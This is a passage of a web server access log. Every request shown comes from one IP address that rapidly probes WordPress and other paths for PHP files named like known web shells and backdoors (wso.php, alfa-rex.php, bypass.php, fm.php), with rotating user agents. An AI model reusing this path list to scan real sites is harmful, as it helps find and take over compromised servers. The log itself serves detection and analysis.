Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:14 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:15 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:15 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:15 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:16 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:16 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:40:17 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:40:17 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:17 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:40:18 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:18 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:40:18 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:40:19 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:19 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:19 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:20 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:40:20 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:20 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:21 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:21 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:21 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:22 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:22 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:22 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:23 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:40:23 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:23 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:40:24 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:40:24 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:24 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:25 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:40:25 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:26 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:40:26 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:26 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:27 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:27 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:40:27 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:28 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:28 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:28 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:40:29 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:40:29 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:40:29 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:30 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:40:30 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:30 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:31 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:31 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:31 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:40:32 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:40:32 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:32 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:33 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:33 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:33 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:34 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:40:34 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:35 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:35 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:35 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:40:36 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:36 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:36 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:37 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:37 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:37 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:40:38 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:38 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:38 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:40:39 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:40:39 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:40 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:40 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:40:40 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:40:41 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:41 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:41 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 203.188.168.29 - - [12/Feb/2026:14:40:42 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:40:42 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:43 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:43 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:43 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:44 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:44 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:44 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:40:45 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:40:45 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:46 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:46 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:46 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:40:46 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:47 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:47 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:40:47 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:48 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:40:48 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:48 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:49 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:49 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:50 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:50 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:50 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:51 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:40:51 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:52 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:52 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 203.188.168.29 - - [12/Feb/2026:14:40:52 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:40:53 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:40:53 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:40:53 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:54 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:54 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - 